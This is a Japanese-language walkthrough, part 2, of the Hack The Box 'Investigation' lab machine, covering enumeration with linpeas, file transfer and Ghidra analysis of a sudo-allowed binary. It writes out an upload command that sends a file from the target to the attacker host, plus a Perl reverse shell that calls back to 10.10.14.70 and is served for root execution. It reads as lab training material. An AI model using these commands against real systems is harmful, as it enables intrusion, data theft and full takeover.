初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Investigation」にチャレンジした際の WriteUp - その2 になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
「WriteUp - その1」については以下です。
Collection
前回の記事でwww-data
の権限は取れたのだが、一般ユーザ権限は取れなかったので調査から開始する。
手動でとりあえず/home
や/opt
あたりを探ってみたが、いいものはなかった。
面倒なので、禁じ手を使うこととする。出し惜しみは無しだ!!
linpeas
この段階で使っちゃいます、linpeas
ちゃん!
以下のサイトからlinpeas.shをダウンロードしてくる。
┌──(root💀kali)-[~/work]
└─# wget https://github.com/carlospolop/PEASS-ng/releases/download/20230129/linpeas.sh
此奴を転送するためにHTTPサーバを起動しておく。
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80
攻撃対象サーバでダウンロードし、実行する。
www-data@investigation:/tmp$ wget http://10.10.14.70/linpeas.sh
--2023-01-28 09:37:16-- http://10.10.14.70/linpeas.sh
Connecting to 10.10.14.70:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 828098 (809K) [text/x-sh]
Saving to: ‘linpeas.sh.1’
linpeas.sh.1 100%[===================>] 808.69K 514KB/s in 1.6s
2023-01-28 09:37:18 (514 KB/s) - ‘linpeas.sh.1’ saved [828098/828098]
www-data@investigation:/tmp$
www-data@investigation:/tmp$ chmod +x linpeas.sh
www-data@investigation:/tmp$
www-data@investigation:/tmp$ ./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
/---------------------------------------------------------------------------------\
| Do you like PEASS? |
|---------------------------------------------------------------------------------|
| Get the latest version : https://github.com/sponsors/carlospolop |
| Follow on Twitter : @carlospolopm |
| Respect on HTB : SirBroccoli |
|---------------------------------------------------------------------------------|
| Thank you! |
\---------------------------------------------------------------------------------/
...省略
╔══════════╣ Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)
-rw-r--r-- 1 www-data www-data 828098 Jan 22 04:25 /tmp/linpeas.sh.1
-rw-r--r-- 1 www-data www-data 1308160 Jan 27 19:17 /tmp/x
-rwxr-xr-x 1 www-data www-data 828098 Jan 15 04:27 /tmp/linpeas.sh
-rw-r--r-- 1 www-data www-data 0 Jan 27 23:14 /tmp/1
-rw-r--r-- 1 root root 172 Aug 27 21:28 /var/backups/dpkg.statoverride.0
-rw-r--r-- 1 root root 161 Aug 27 21:28 /var/backups/dpkg.statoverride.3.gz
-rw-r--r-- 1 root root 4023 Aug 27 21:28 /var/backups/apt.extended_states.4.gz
-rw-r--r-- 1 root root 161 Aug 27 21:28 /var/backups/dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 139 Aug 27 08:18 /var/backups/dpkg.diversions.1.gz
-rw-r--r-- 1 root root 268 Aug 27 08:18 /var/backups/dpkg.diversions.0
-rw-r--r-- 1 root root 730232 Jan 16 12:21 /var/backups/dpkg.status.0
-rw-r--r-- 1 root root 40394 Jan 16 12:21 /var/backups/apt.extended_states.0
-rw-r--r-- 1 root root 4477 Jan 6 09:30 /var/backups/apt.extended_states.1.gz
-rw-r--r-- 1 root root 2360 Aug 28 06:25 /var/backups/alternatives.tar.1.gz
-rw-r--r-- 1 root root 162324 Aug 27 21:28 /var/backups/dpkg.status.2.gz
-rw-r--r-- 1 root root 162324 Aug 27 21:28 /var/backups/dpkg.status.3.gz
-rw-r--r-- 1 root root 139 Aug 27 08:18 /var/backups/dpkg.diversions.3.gz
-rw-r--r-- 1 root root 4450 Jan 5 16:20 /var/backups/apt.extended_states.2.gz
-rw-r--r-- 1 root root 161 Aug 27 21:28 /var/backups/dpkg.statoverride.2.gz
-rw-r--r-- 1 root root 162324 Aug 27 21:28 /var/backups/dpkg.status.1.gz
-rw-r--r-- 1 root root 139 Aug 27 08:18 /var/backups/dpkg.diversions.2.gz
-rw-r--r-- 1 root root 61440 Jan 28 06:25 /var/backups/alternatives.tar.0
-rw-r--r-- 1 root root 4032 Jan 4 14:01 /var/backups/apt.extended_states.3.gz
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/dev/shm/linpeas.sh
/dev/shm/log
/run/lock
/run/lock/apache2
/run/php
/run/screen
/tmp
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix
#)You_can_write_even_more_files_inside_last_directory
/usr/local/investigation/analysed_log
/var/cache/apache2/mod_cache_disk
/var/crash
/var/lib/php/sessions
/var/tmp
/var/www
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
Group www-data:
/usr/local/investigation/analysed_log
...省略
なんか/usr/local/investigation/analysed_log
ってのがあるな...調べてみるか!
そうすると、同階層に「Windows Event Logs for Analysis.msg」ってのも見つかる。
(...analysed_logは特段いい情報はなかった。)
とりあえず中身を確認してみる。
おそらく.msg
のファイル形式なのでぐちゃぐちゃだがエンベロープっぽい情報が見える。Kali上で分析をしたいファイルだ。
Transfer
というわけで転送してみる。
kali上で以下コマンドを打ち、アップロードサーバを起動する。
┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
転送コマンドを投入する。
www-data@investigation:/usr/local$ python3 -c "import requests;requests.post(\"http://10.10.14.70:8000/upload\",files={\"files\":open(\"/usr/local/investigation/Windows Event Logs for Analysis.msg\",\"rb\")})"
以下のように転送ログが出てきたら成功である。
┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.197 - - [28/Jan/2023 05:11:51] [Uploaded] "Windows Event Logs for Analysis.msg" --> /root/work/Windows Event Logs for Analysis.msg
10.10.11.197 - - [28/Jan/2023 05:11:51] "POST /upload HTTP/1.1" 204 -
念のためにハッシュ値で同一ファイルか確認しておく。
www-data@investigation:/usr/local$ md5sum Windows\ Event\ Logs\ for\ Analysis.msg
0807e85e3d1c0f0bbf0d8317fed1fa60 Windows Event Logs for Analysis.msg
┌──(root㉿kali)-[~/work]
└─# md5sum Windows\ Event\ Logs\ for\ Analysis.msg
0807e85e3d1c0f0bbf0d8317fed1fa60 Windows Event Logs for Analysis.msg
一致しているので転送は無事完了である。
そんで、此奴は本当に.msg
ファイルなのか確認しておく。
┌──(root㉿kali)-[~/work]
└─# file Windows\ Event\ Logs\ for\ Analysis.msg
Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message
ああ、間違いない。OutLookのMessageだ。
それKaliで開けないので、.eml
に変換していこうと思う。
以下コマンドで変換。
┌──(root㉿kali)-[/home/kali/Desktop]
└─# msgconvert Windows\ Event\ Logs\ for\ Analysis.msg
開いてみるとこんなメールだった。
添付があるのでダウンロードしておく。unzip
でアーカイブを展開するとsecurity.evtx
というファイルが出てきた!!!
Windows Event Logだ!!!
Windows Event Log
これのLinuxでの開き方は以下を参考にした。
以下のライブラリを用いてEventLogをパースしてく感じみたいだ。
とりあえず落としてくる。
┌──(root㉿kali)-[/home/kali/Desktop]
└─# pip install python-evtx
落とした後はこのパッケージのScriptのPythonファイル「evtx_dump.py
」を参考にした。
これはEventlogをXML形式で展開してくれるスクリプトのようだ。
これを使ってXMLファイルを作成する。
┌──(root㉿kali)-[/home/kali/Desktop]
└─# python3 /usr/local/bin/evtx_dump.py security.evtx > security.xml
(このXMLファイルにどうせsmortonのPasswordか何か書いてあるんでしょ?)
邪念はおいておきつつ調査開始する。どういった調査観点がいいのかは以下の「HackTricks」を参考にしてみてはいかがでしょか。
「4624」などのIDで絞ってみてもいいのだが、「TargetUserName」などが記載されているので、直接「smorton」を引っかけてみる。
...
......
.........
............
見つからない。
ID 4624で変な実行ファイルを使ってないかも見たが、パスワードらしき文字列が見つからない。。。
ここで死ぬほど時間を使ってしまった。。。
着眼点を変える必要があるみたいである。
ID 4625あたりでUserNameと間違えてPassword叩き込んでないか確認してみる。。。
Persistence
Privilege Escalation
sudo -l
No Passwordでいけるものを探します~
smorton@investigation:/usr/bin$ sudo -l
Matching Defaults entries for smorton on investigation:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User smorton may run the following commands on investigation:
(root) NOPASSWD: /usr/bin/binary
smorton@investigation:/usr/bin$
ほう、/usr/bin/binary
が使えるのね。
此奴を動かしてみる。
うん、よくわからん。バイナリファイルなのでGhidra
で解析したいですね。
Transfer
.msg
ファイルと同様にuploadserver
を立ち上げ、そこにPOSTし、ハッシュ比較で転送が完了しているか確認を実施する。
転送は成功しているみたいだ!!
それじゃ本格的にGhidra
で解析していきます。
Ghidra
起動
以下コマンドでGhidra
を起動する。
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ghidra
起動出来たら「New Project」で新規プロジェクト(自分は適当に「vina」とかにしときました。)を起動させる。その後、分析対象のbinaryをD&DすればProjectで認識される。
此奴をAnalysisしてもらった結果が以下である。Ghidra
さんはデコンパイルもやってくれて大変助かります。
main
関数に色々記載されているみたいなのでこいつを修正しつつ分析開始する。
分析
とりあえずGhidra
さんが分析してくれたデコンパイルコードは以下である。
undefined8 main(int param_1,long param_2)
{
__uid_t _Var1;
int iVar2;
FILE *__stream;
undefined8 uVar3;
char *param0;
char *param0_00;
if (param_1 != 3) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
_Var1 = getuid();
if (_Var1 != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
if (iVar2 != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Running... ");
__stream = fopen(*(char **)(param_2 + 0x10),"wb");
uVar3 = curl_easy_init();
curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8));
curl_easy_setopt(uVar3,0x2711,__stream);
curl_easy_setopt(uVar3,0x2d,1);
iVar2 = curl_easy_perform(uVar3);
if (iVar2 == 0) {
iVar2 = snprintf((char *)0x0,0,"%s",*(char **)(param_2 + 0x10));
param0 = (char *)malloc((long)iVar2 + 1);
snprintf(param0,(long)iVar2 + 1,"%s",*(char **)(param_2 + 0x10));
iVar2 = snprintf((char *)0x0,0,"perl ./%s",param0);
param0_00 = (char *)malloc((long)iVar2 + 1);
snprintf(param0_00,(long)iVar2 + 1,"perl ./%s",param0);
fclose(__stream);
curl_easy_cleanup(uVar3);
setuid(0);
system(param0_00);
system("rm -f ./lDnxUysaQn");
return 0;
}
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
わかりにくいところが多々あるので修正を実施した。
cURL API
まずは分かりやすそうなcURLのAPIの部分である。ここは以下のURLを参考にしてほしい。
ここからcurl_easy_setopt
を参考にする。
#include <curl/curl.h>
CURLcode curl_easy_setopt(CURL *handle, CURLoption option, parameter);
以下のようにcurl_easy_setopt
辺りを変更した。
curl_handler = curl_easy_init();
curl_easy_setopt(curl_handler,CURLOPT_URL,*(undefined8 *)(param_2 + 8));
curl_easy_setopt(curl_handler,CURLOPT_WRITEDATA,__stream);
curl_easy_setopt(curl_handler,0x2d,1);
response = curl_easy_perform(curl_handler);
これに続くif
文はresponseが0かどうか確認している。200OKならばcurl_easy_perform
は0を返すようなので、これはレスポンスコードが200Okかどうか判断しているif
文だといえる。
ここまででどこかと通信していること、通信先からDataを持ってきていることが分かった。
前半のif文周り
前半にif
文が3つ来ている。それぞれを確認していこう。
1つ目
if (param_1 != 3) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
main
関数の入力整数値が3かどうか判断している。大体こういった整数値判定はメモリサイズか入力値の個数だったりするので、この場合は入力値の個数かなと判断する。
※このバイナリ自体も入力値になるので、実質こっちで用意する入力値は2つ。
よって以下のように変更する。
if (input_count != 3) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
2つ目
続いて2つ目だ。
_Var1 = getuid();
if (_Var1 != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
getuid()
で取った変数が0かどうか判断している。これはRoot実行判断ですね。なので以下のように修正しておきます。
uid_must_root = getuid();
if (uid_must_root != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
3つ目
続いて3つ目
iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
if (iVar2 != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
これはstrcmp
で文字列lDnxUysaQn
と入力値param2
を比較しています。比較結果が0(差分なし)じゃなければ動作をやめるといった条件分岐ですね。
cURL API
でiVar2
を変更しているので以下のようになるはずです。ですが、これはResponseの意味ではなくただの格納変数です。。。
response = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
if (response != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
if文まとめ
ここから以下の条件にマッチしないとこのバイナリは回らないと判断できます。
- バイナリ実行時には引数が3つ必要
- 特権で実行しないといけない
- 引数の1つに
lDnxUysaQn
が必要
param2
param2
についてはparam_2 + 8
やparam_2 + 0x10
のように複数のアドレスでアクセスされているので、Structだと判断する。
param2
を右クリックし、Auto Create Struct
か何かそれっぽいものをクリックして、構造体をGhidra
さんに作ってもらう。構造体のタイプをInput
、param2
をinput
とした。
その結果、main
関数のシグネイチャは以下のようになる。
※ついでにreturnでを返しているのでint
にしておいた。
int main(int input_count,Input *input)
また、param_2 + 8
はcurl_easy_setopt(curl_handler,CURLOPT_URL,*(undefined8 *)(param_2 + 8));
で使用されているのでconnect_URL
メンバとし、
param_2 + 0x10
はlDnxUysaQn
との比較に使われていたのでpassword
メンバとした。
後半if文 (200OK判定後)
メモリを確保し、そこにperl %s
の文字でsnprintf
を使い叩き込んでいるのがわかる。
cURLで取ってきたファイルをlDnxUysaQn
で保存してそいつをperlで実行し、実行後そのファイルを削除する流れですな。
分析結果
以下に分析完了後のコードを記載する。
int main(int input_count,Input *input)
{
__uid_t uid_must_root;
FILE *write_callback;
undefined8 curl_handler;
int response;
char *lDnxUysaQn;
char *perl_lDnxUysaQn;
if (input_count != 3) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
uid_must_root = getuid();
if (uid_must_root != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
response = strcmp(input->password,"lDnxUysaQn");
if (response != 0) {
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Running... ");
write_callback = fopen(input->password,"wb");
curl_handler = curl_easy_init();
curl_easy_setopt(curl_handler,CURLOPT_URL,input->connect_URL);
curl_easy_setopt(curl_handler,CURLOPT_WRITEDATA,write_callback);
curl_easy_setopt(curl_handler,0x2d,1);
response = curl_easy_perform(curl_handler);
/* Its Response 200 OK */
if (response == 0) {
response = snprintf((char *)0x0,0,"%s",input->password);
lDnxUysaQn = (char *)malloc((long)response + 1);
snprintf(lDnxUysaQn,(long)response + 1,"%s",input->password);
response = snprintf((char *)0x0,0,"perl ./%s",lDnxUysaQn);
perl_lDnxUysaQn = (char *)malloc((long)response + 1);
snprintf(perl_lDnxUysaQn,(long)response + 1,"perl ./%s",lDnxUysaQn);
fclose(write_callback);
curl_easy_cleanup(curl_handler);
setuid(0);
system(perl_lDnxUysaQn);
system("rm -f ./lDnxUysaQn");
return 0;
}
puts("Exiting... ");
/* WARNING: Subroutine does not return */
exit(0);
}
まぁ読みやすい感じにまとめただけなので、動作がわかるならここまでしなくてもいいと思う。
ここら辺の作業はGhidra
さんは凄く快適にできるのでよい。
最初の3つの分岐をクリアすれば引数のURLにアクセスし、ファイルを取得。ローカルにlDnxUysaQn
の名前で書き込み、Perlで実行するという流れのようだ。
コマンドの順番はアドレスの順番から/usr/bin/binary URL lDnxUysaQn
と判断できる。
実行
Perlのリバースシェルを以下のように作成する。
use Socket;
$i="10.10.14.70";
$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};
上記リバースシェルを配信するためのHTTPサーバを立てる。
┌──(root㉿kali)-[~/work]
└─# python3 -m http.server 80
リバースシェルを受けるように以下のコマンドも実施。
┌──(root㉿kali)-[~/work]
└─# nc -lnvp 4444
では以下コマンドを実施!!!
smorton@investigation:/usr/bin$ sudo /usr/bin/binary 10.10.14.70/shell.pl lDnxUysaQn
特権昇格成功!!!!
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
EventLog周りはしんどかったですが、Ghidraを使うことが出来てウハウハでした。
リバーシング楽しいね!!
今回もセキュリティエンジニアの皆さんの助けになればなと思います。